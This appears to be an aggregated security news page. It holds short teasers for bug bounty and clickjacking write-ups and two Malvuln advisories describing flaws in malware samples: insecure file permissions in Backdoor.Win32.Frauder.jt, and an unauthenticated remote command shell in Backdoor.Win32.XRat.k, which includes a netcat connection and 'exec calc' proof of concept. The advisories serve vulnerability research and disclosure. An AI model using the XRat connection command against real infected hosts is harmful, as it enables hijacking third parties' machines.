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QuickSwap’s New UI Alpha $50,000 Bug Bounty

TL; DR:Continue reading on Medium »
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Everything you need to know about clickjacking

A complete guide how to exploit clickjacking and how to prevent it.Continue reading on InfoSec Write-ups »
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How I hacked Google to read files from their servers for free!

Hey Guys, This is Harish! I used to hunt to Microsoft and Google VRP, This is my first write up!Continue reading on Medium »
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Everything you need to know about clickjacking

A complete guide how to exploit clickjacking and how to prevent it.
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Server-Side Request Forgery to Internal SMTP Access

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Exploit Collector
Backdoor.Win32.Frauder.jt Insecure Permissions

https://2.bp.blogspot.com/-S-N0q2XL8x8/WWlu5FDj1eI/AAAAAAAAIJA/vGskVQb_QegQZ0-UZMHSDeFJ08ju6pdGQCLcBGAs/s1600/h104.png
Backdoor.Win32.Frauder.jt malware suffers from an insecure permissions vulnerability.

MD5 | 72f1408eb050fbc9ad79b5002711ab97

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Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/16fab35b51f9e6447f2a8c04db4ebe93.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Frauder.jt
Vulnerability: Insecure Permissions
Description: The malware writes an extensionless PE file named "x" with insecure permissions under c:\ drive granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: 16fab35b51f9e6447f2a8c04db4ebe93
Vuln ID: MVID-2022-0481
Dropped files: x
Disclosure: 02/08/2022

Exploit/PoC:
C:\>cacls x
C:\x BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
C:\>dir x
Volume in drive C has no label.

Directory of C:\

02/09/2013 01:43 PM 25,088 x
1 File(s) 25,088 bytes
0 Dir(s) 27,505,713,152 bytes free

C:\>type x
MZÉ !This program cannot be run in DOS mode.
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

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Exploit Collector
Backdoor.Win32.XRat.k Remote Command Execution

https://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png
Backdoor.Win32.XRat.k malware suffers from an unauthenticated remote command execution vulnerability.

MD5 | 863d62a91a107421d8e0bb06da35c4da

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Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/3d4350282ae043177063de2ad4827b97.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.XRat.k
Vulnerability: Unauthenticated Remote Command Execution
Description: XRat malware listens on TCP port 20888. Third-party attackers who can reach the system can run commands hijacking the infected host.
Type: PE32
MD5: 3d4350282ae043177063de2ad4827b97
Vuln ID: MVID-2022-0482
Dropped files: Rat.exe
Disclosure: 02/08/2022

Exploit/PoC:
nc64.exe x.x.x.x 20888
"X-Rat System Console" v2.8

Status Ready, Client: 192.168.18.130:8325

[DESKTOP-2C3IQHO@C:\WINDOWS\system32]#exec calc
Command "EXEC" succeed.

[DESKTOP-2C3IQHO@C:\WINDOWS\system32]#
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

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